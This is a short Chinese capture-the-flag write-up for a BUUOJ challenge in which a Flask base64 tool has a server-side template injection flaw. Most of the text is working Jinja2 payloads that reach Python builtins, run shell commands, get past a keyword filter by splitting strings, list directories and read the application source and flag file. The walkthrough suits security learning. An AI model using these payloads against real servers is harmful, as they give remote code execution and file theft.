题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,base64加密页面,题目给出flask提示,猜测使用模板注入
第二步:构建漏洞
在加密页面将{
{7+7}}
进行base64加密后,将密文使用解密页面解码,发现执行了7+7算法,确定了存在模板注入漏洞。
第三步:获取flag
-
使用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
命令查看根目录下所有文件,期望获取到flag所在地,结果发现执行失败
-
使用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
命令读取app.py文件,查看过滤规则,发现os,flag等关键字被屏蔽
-
利用字符串拼接,以及listdir函数获取根目录下的文档,使用命令:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
-
获取this_is_flag.txt文档内容,使用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}